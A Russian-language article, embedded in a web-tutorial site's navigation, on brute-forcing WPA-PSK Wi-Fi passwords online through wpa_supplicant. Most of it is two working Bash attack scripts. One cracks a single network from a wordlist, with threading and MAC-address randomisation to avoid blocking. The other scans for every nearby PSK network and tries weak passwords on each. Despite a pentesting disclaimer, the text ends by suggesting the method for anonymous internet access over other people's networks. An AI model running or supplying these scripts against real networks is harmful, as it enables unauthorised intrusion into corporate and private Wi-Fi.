Невозможно отучить людей изучать самые ненужные предметы.
Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3
Надо знать обо всем понемножку, но все о немногом.
Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы
Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)
Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода
Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5
Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости
Справочник от А до Я
HTML, CSS, JavaScript
Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы
Помогли мы вам |
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Наиболее часто встречаются сети WPA PSK. Даже если в компании используются сети WPA-Enterprise, а все остальное запрещено, мы всегда можем найти WPA PSK благодаря тем же беспроводным принтерам и всяческим несанкционированным точкам доступа, работающим на телефонах сотрудников. И чем больше периметр компании, тем больше таких потенциальных точек входа можно обнаружить. При атаках на точки доступа с WPA PSK обычно используется следующая схема.
Но что делать, если у точки доступа нет клиентов? Грубо говоря, где‑то у половины обнаруженных беспроводных сетей будут отсутствовать активные клиенты, а другая половина не будет подвержена PMKID, и у таких сетей не обнаружится уязвимый к перебору WPS. Выходит, подобные точки доступа устойчивы к атакам, даже если на них используется пароль 12345678? А что нам мешает атаковать их?
Подобрать пароль к обычной WPA-сети всегда можно простым перебором, аутентифицируясь и спрашивая каждый раз пароль непосредственно у точки доступа (этот метод называется онлайн‑брутфорсом).
Атаки онлайн‑подбором пароля к Wi-Fi-сетям крайне редки, и в интернете можно найти не так уж много реализаций такой атаки. Оно и понятно: ведь ее скорость низкая в сравнении с брутфорсом того же WPA Handshake или PMKID. Но именно эта атака может быть единственно возможной почти в четверти случаев. И пусть скорость подбора будет не так высока, это явно лучше, чем сидеть и ждать у моря погоды. Так ли нужна нам высокая скорость брутфорса, когда речь идет о небезопасных паролях? Можно предположить, что примерно на каждой десятой точке доступа использован пресловутый пароль 12345678. Неужели для атаки подобных устройств нужен хендшейк?
А что, если мы возьмем с десяток самых слабых паролей? Реализовать онлайн‑брутфорс мы можем достаточно просто с помощью скрипта на Bash, используя лишь wpa_supplicant
:
RED='x1b[31m'GREEN='x1b[32m'GREY='x1b[90m'RESET='x1b[0m'TIMEOUT=15
IFACE=wlan0
[[ $# -ge 1 ]] && essid="$1" || read -p 'essid: 'essid
[[ $# -ge 2 ]] && wordlist="$2" || read -p 'wordlist: 'wordlist
[[ $# -ge 3 ]] && threads="$3" || threads=1
rand=$RANDOMif [ "$threads" -eq 1 ]; thentouch "/tmp/wpa_${rand}_${essid}.conf"
while read -rpassword
do[[ "${#password}" -lt 8 ]] && continue#sudo ifconfig $IFACE down; sudo ifconfig $IFACE hw ether "00:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]" 2> /dev/null; sudo ifconfig $IFACE upwpa_passphrase "$essid" "$password" "/tmp/wpa_${rand}_${essid}.conf" || continuesed -i 's/^.*#psk=.*$/tscan_ssid=1/g' "/tmp/wpa_${rand}_${essid}.conf"sudo ifconfig $IFACE up
sudo timeout $TIMEOUTwpa_supplicant -i $IFACE -c "/tmp/wpa_${rand}_${essid}.conf"2>&1 "/tmp/wpa_${rand}_${essid}.log" &
wpa_supplicant=$!tail -f "/tmp/wpa_${rand}_${essid}.log"2> /dev/null | while read -t $TIMEOUTline
do#echo "$line"if echo "$line" | grep -q "completed"; thenbreakelif echo "$line" | grep -q "Handshake failed"; thenbreakfidonesudo pkill -P $wpa_supplicant2> /dev/null
now=$(date +'%H:%M:%S')if grep -q "complete" "/tmp/wpa_${rand}_${essid}.log" /dev/null; thenecho -e $GREEN "[+] [$now]$IFACE$essid:$password" $RESETexit 1
elif grep -q "Handshake failed" "/tmp/wpa_${rand}_${essid}.log"; thenecho -e $RED "[-] [$now]$IFACE$essid:$password" $RESETelseecho -e $GREY "[!] [$now]$IFACE$essid:$password" $RESETecho "$password" "$wordlist"firm "/tmp/wpa_${rand}_${essid}.log"2> /dev/null
rm "/tmp/wpa_${rand}_${essid}.conf"2> /dev/null
done<"$wordlist"elif [ "$threads" -gt 1 ]; thentypeset -a pids=()
for ((thread=0;thread<$threads;thread++)); do"$0" "$1" <(cat "$2" | awk "NR%$threads==$thread") ||pkill -f "$0" &
pids+=($!)#sleep 0.25
donefor pid in ${pids[*]}; dotail --pid=$pid -f/dev/null
donefi
Скрипт будет пытаться подключиться к точке доступа, используя исключительно легитимное ПО. На каждой итерации, чтобы избежать блокировок, он может менять наш MAC-адрес на рандомный. Такой скрипт не требует особых режимов беспроводной сетевой карты и может быть запущен на любом компьютере и даже на устройстве с Android.
Этот метод не так уж и плох, ведь даже Android по умолчанию управляет беспроводными соединениями через старый добрый wpa_supplicant
. Cчитается, что онлайн‑брутфорс точек доступа не параллелится, а скорость подбора пароля увеличить невозможно. Однако при одновременном брутфорсе паролей сразу с двух устройств не было замечено падения скорости, следовательно, увеличение быстродействия возможно.
В скрипте wpa-brute.
есть поддержка многопоточности, реализованная достаточно простым и оригинальным способом: на одном и том же WLAN-интерфейсе мы можем одновременно запускать сразу несколько процессов wpa_supplicant
. Пока один ждет ответа от точки доступа, другой wpa_supplicant
может отправлять пакеты аутентификации со следующим паролем. Значит, скорость брутфорса все же может быть увеличена, правда, в разумных пределах и не на всех точках доступа в равной степени.
Добавив обертку вокруг скрипта wpa-brute.
, мы можем реализовать брутфорс в ширину:
RED='x1b[31m'GREEN='x1b[32m'GREY='x1b[90m'RESET='x1b[0m'IFACE=wlan0
TIMEOUT=60
PASSWD=()MAX_TREADS=6
[[ $# -ge 1 ]] && PASSWD=($*) || while read passwd; do PASSWD+=("$passwd"); done#PASSWD=(12345678 123456789 1234567890 qwertyuiop 1q2w3e4r 987654321 1q2w3e4r5t qazwsxedc 11111111)#sudo killall -KILL wpa_supplicant 2> /dev/nullmkdir/tmp/wpa_brute 2> /dev/null && chmod o+rw /tmp/wpa_brute
while :
dosudo ifconfig $IFACE up
typeset -a bssids=() typeset -a essids=() typeset -a signals=() IFS=$'x0a' for line in $(sudo iw dev $IFACEscan 2> /dev/null | egrep '^BSS|SSID:|signal:|Authentication' | tr $'n' $'t' | sed -e 's/BSS/nBSS/g' | grep 'PSK') doIFS=$'t' read bssid signal essid <<< $(echo "$line" | sed -rn 's/BSS (.+)(.*t+signal: (.*).00 dBm.*t+SSID: ([^t]+)t.*/1t2t3/p')
if [ -n "$essid" ]; then#echo "[*] $bssid $signal $essid"bssids+=($bssid)essids+=($essid)signals+=($signal)
fidonefor ((i=0;i<${#bssids[@]}; i++)) doecho "${essids[i]}"$'t'"${bssids[i]}"$'t'"${signals[i]}" done | sort -n -k 3 -r | uniq /tmp/wpa_brute/wpa_net.txt
IFS=$'x0a' for net in $(cat/tmp/wpa_brute/wpa_net.txt) doIFS=$'t' read essid bssid signal <<< $(echo "$net")fgrep -q "$essid"/tmp/wpa_brute/essids_known.txt 1> /dev/null 2> /dev/null && continueecho "[+]$essid$bssid$signal"
sudo ifconfig $IFACE down; sudo ifconfig $IFACEhw ether "00:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]"2> /dev/null; sudo ifconfig $IFACE up
threads=0
for passwd in ${PASSWD[*]}
do ((threads++))echo "$passwd"
done /tmp/wpa_brute/wordlist.txt
timeout $TIMEOUT $(dirname "$0")/wpa_brute.sh "$essid"/tmp/wpa_brute/wordlist.txt $((threads<=MAX_TREADS ? threads :MAX_TREADS ))
echo "$essid" /tmp/wpa_brute/essids_known.txt
breakdonedone
Cкрипт на каждой итерации будет сканировать эфир, проверять наличие беспроводных сетей, сортировать их по уровню сигнала и пытаться подобрать только один или несколько указанных паролей.
Брутфорс в ширину может быть очень полезен, когда атакуемый объект имеет протяженный периметр с кучей разнообразных Wi-Fi-сетей, многие из которых — это несанкционированные сети, раздаваемые пользователями, не сильно заботящимися о защищенности. Другой хороший пример слабо защищенных устройств, которые обязательно стоит искать подобным методом, — это принтеры. И то и другое может стать отличной точкой входа во внутреннюю сеть компании.
Использовать брутфорс в ширину можно и без цели проникновения, например чтобы организовать анонимный выход в интернет через чужой канал.
|
|